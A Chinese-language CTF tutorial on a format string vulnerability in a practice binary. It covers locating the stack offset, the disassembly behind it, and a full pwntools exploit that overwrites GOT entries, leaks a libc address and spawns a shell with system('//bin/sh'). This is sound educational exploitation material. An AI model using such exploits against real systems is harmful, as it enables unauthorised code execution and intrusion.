格式化字符串漏洞就是个格式化的时候限制条件缺失导致的漏洞,下面用一个栗子来讲解
https://download.csdn.net/download/qq_38204481/10416723。这里可以下载栗子。
int __cdecl main(int a1)
{
char s; // [esp+0h] [ebp-408h]
unsigned int v3; // [esp+3FCh] [ebp-Ch]
int *v4; // [esp+400h] [ebp-8h]
v4 = &a1;
v3 = __readgsdword(0x14u);
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 2, 0);
memset(&s, 0, 0x3FCu);
printf("INPUT :");
fgets(&s, 1024, stdin);
if ( strstr(&s, "$h") || strstr(&s, "$n") )
exit(-1);
printf("RESP :");
printf(&s);
return 0;
}
printf(&s);这里有一个格式化字符串漏洞。
怎么利用呢。
先看这个栗子
输入%x看看会显示什么
它输出了这玩意。是esp+4位置处的值。可以猜一下,%x%x是不是就是后面一个堆栈区域的值了(注意这里我输入再多它也是esp+4位置处的值,因为存的是输入数据的指针)
接下来输入%x%x测试一下。
就是紧跟着4个字节的值。
格式化字符串输入%+数字(栈内第几个数据)+$+输出数据类型
$c这里的测试数据是%0$c,输出的是此时的栈顶数据是指针,指向字符
测试数据为%1$x输出结果为
可以看出来,这里的%1就是栈内编号为1的地方(就是此时esp指向的字节的后面4个字节。0是esp的内容)。
接下来可以手动测试一下
这里的%4x表示输出4个字节x表示以16进制输出。
liu@ubuntu:~/Desktop/pprint-T$ ./pprintf
INPUT :aaaa.%4x.%4x.%4x.%4x.%4x.%4x
RESP :aaaa.804871b.b778ec20. 0.61616161.7834252e.7834252e
需要关注的是61616161这里是内存的第4个字节,这个4就是平时经常说的偏移为4。也就是格式化字符串函数开始到保存字符串的地址的偏移。这里有一个问题
fgets(&s, 1024, stdin);
if ( strstr(&s, "$h") || strstr(&s, "$n") )
exit(-1);
printf("RESP :");
printf(&s);
printf(&s);这里明明传进去参数的参数就是s怎么还会有偏移呢。自习看一下,这里存的是指针,也就是说此时栈里面存的是指针还有一个问题——偏移这一段存的是什么,为什么会产生这段偏移。
这需要看汇编了,需要观察的是关于esp的操作。
.text:0804857B
.text:0804857B ; Attributes: bp-based frame
.text:0804857B
.text:0804857B ; int __cdecl main(int, char **, char **)
.text:0804857B main proc near ; DATA XREF: start+17↑o
.text:0804857B
.text:0804857B s = byte ptr -408h
.text:0804857B var_C = dword ptr -0Ch
.text:0804857B anonymous_0 = dword ptr -8
.text:0804857B
.text:0804857B ; __unwind {
.text:0804857B lea ecx, [esp+4]
.text:0804857F and esp, 0FFFFFFF0h
.text:08048582 push dword ptr [ecx-4]
.text:08048585 push ebp
.text:08048586 mov ebp, esp
.text:08048588 push edi
.text:08048589 push ecx
.text:0804858A sub esp, 400h
.text:08048590 mov eax, large gs:14h
.text:08048596 mov [ebp+var_C], eax
.text:08048599 xor eax, eax
.text:0804859B mov eax, ds:stdout
.text:080485A0 push 0 ; n
.text:080485A2 push 2 ; modes
.text:080485A4 push 0 ; buf
.text:080485A6 push eax ; stream
.text:080485A7 call _setvbuf
.text:080485AC add esp, 10h
.text:080485AF mov eax, ds:stdin
.text:080485B4 push 0 ; n
.text:080485B6 push 2 ; modes
.text:080485B8 push 0 ; buf
.text:080485BA push eax ; stream
.text:080485BB call _setvbuf
.text:080485C0 add esp, 10h
.text:080485C3 lea edx, [ebp+s]
.text:080485C9 mov eax, 0
.text:080485CE mov ecx, 0FFh
.text:080485D3 mov edi, edx
.text:080485D5 rep stosd
.text:080485D7 sub esp, 0Ch
.text:080485DA push offset format ; "INPUT :"
.text:080485DF call _printf
.text:080485E4 add esp, 10h
.text:080485E7 mov eax, ds:stdin
.text:080485EC sub esp, 4
.text:080485EF push eax ; stream
.text:080485F0 push 400h ; n
.text:080485F5 lea eax, [ebp+s]
.text:080485FB push eax ; s
.text:080485FC call _fgets
.text:08048601 add esp, 10h
.text:08048604 sub esp, 8
.text:08048607 push offset needle ; "$h"
.text:0804860C lea eax, [ebp+s]
.text:08048612 push eax ; haystack
.text:08048613 call _strstr
.text:08048618 add esp, 10h
.text:0804861B test eax, eax
.text:0804861D jnz short loc_804863A
.text:0804861F sub esp, 8
.text:08048622 push offset aN ; "$n"
.text:08048627 lea eax, [ebp+s]
.text:0804862D push eax ; haystack
.text:0804862E call _strstr
.text:08048633 add esp, 10h
.text:08048636 test eax, eax
.text:08048638 jz short loc_8048644
.text:0804863A
.text:0804863A loc_804863A: ; CODE XREF: main+A2↑j
.text:0804863A sub esp, 0Ch
.text:0804863D push 0FFFFFFFFh ; status
.text:0804863F call _exit
.text:08048644 ; ---------------------------------------------------------------------------
.text:08048644
.text:08048644 loc_8048644: ; CODE XREF: main+BD↑j
.text:08048644 sub esp, 0Ch
.text:08048647 push offset aResp ; "RESP :"
.text:0804864C call _printf
.text:08048651 add esp, 10h
.text:08048654 sub esp, 0Ch
.text:08048657 lea eax, [ebp+s]
.text:0804865D push eax ; format
.text:0804865E call _printf
.text:08048663 add esp, 10h
.text:08048666 mov eax, 0
.text:0804866B mov edx, [ebp+var_C]
.text:0804866E xor edx, large gs:14h
.text:08048675 jz short loc_804867C
.text:08048677 call ___stack_chk_fail
.text:08048654 sub esp, 0Ch这里ebp-c然后push eax
凑够了0x10在.text:08048663 add esp, 10h补齐堆栈。好好观察一下上面也是这个模式,每调用一个函数也都是凑够10h然后补回来。
看到这里就知道上面4个偏移字节是怎么来的了,还有为什么是4个字节。0x10/4=4(堆栈内容是4字节为单位)再看看反编译代码,s是在开始就被定义的,也就是堆栈平衡时的栈顶位置(在格式化输出的时候堆栈是不平衡的)。
但是这样计算太麻烦了,贴出自动化脚本
from pwn import *
context.log_level = 'debug'
def exec_fmt(payload):
p = process("./pprintf")
p.sendline(payload)
info = p.recv()
p.close()
return info
autofmt = FmtStr(exec_fmt)
print autofmt.offset
计算出偏移就可以正式解题了。贴出解题exp
from pwn import *
import sys
context.arch='i386'
#context.log_level='debug'
elf=ELF("pprintf")
check_fail_plt=elf.got["__stack_chk_fail"]
fmt_string=fmtstr_payload(4,{check_fail_plt : 0x0804857B},write_size='byte').replace('$h','$+h') #这里是为了把check_fail_plt覆盖为main函数的地址实现了溢出足够大的字节实现循环
print repr(fmt_string)
p=process("./pprintf")
p.recvuntil("INPUT :")
p.sendline(fmt_string.ljust(1022))#这里为什么不是1032?这个问题下面将会说
p.recvuntil("INPUT :")
p.sendline((p32(elf.got['printf'])+"%4$s").ljust(1022))
p.recvuntil("RESP :")
p.recv(4)
printf_addr=u32(p.recv(4))
print 'printf='+hex(printf_addr)
libc=ELF("libc6_2.19-0ubuntu6.14_i386.so")#这个库是通过泄漏的地址查到的,具体可以看一下上一篇
system_addr=printf_addr-libc.symbols["printf"]+libc.symbols["system"]
fmt_string=fmtstr_payload(4,{elf.got["strstr"]:system_addr},write_size='byte').replace('$h',"$+h")
print repr(fmt_string)
p.sendline(fmt_string.ljust(1022))
p.recvuntil("INPUT :")
p.sendline("//bin/sh")
p.recvline()
p.interactive()
下面针对这个题有一些细节:
为什么只能是1022,超过了就不行了 fgets(&s, 1024, stdin);这里限制只能有1024个字节 1022+‘\0’+‘\n’不就是1024了吗
那这时候怎么确定canary被覆盖掉了?这就需要更了解canary的保护了。
这里把canary的值存放到ebp-0xc地址处了。1032-0xc=1020。确定1024处已经覆盖掉canary了。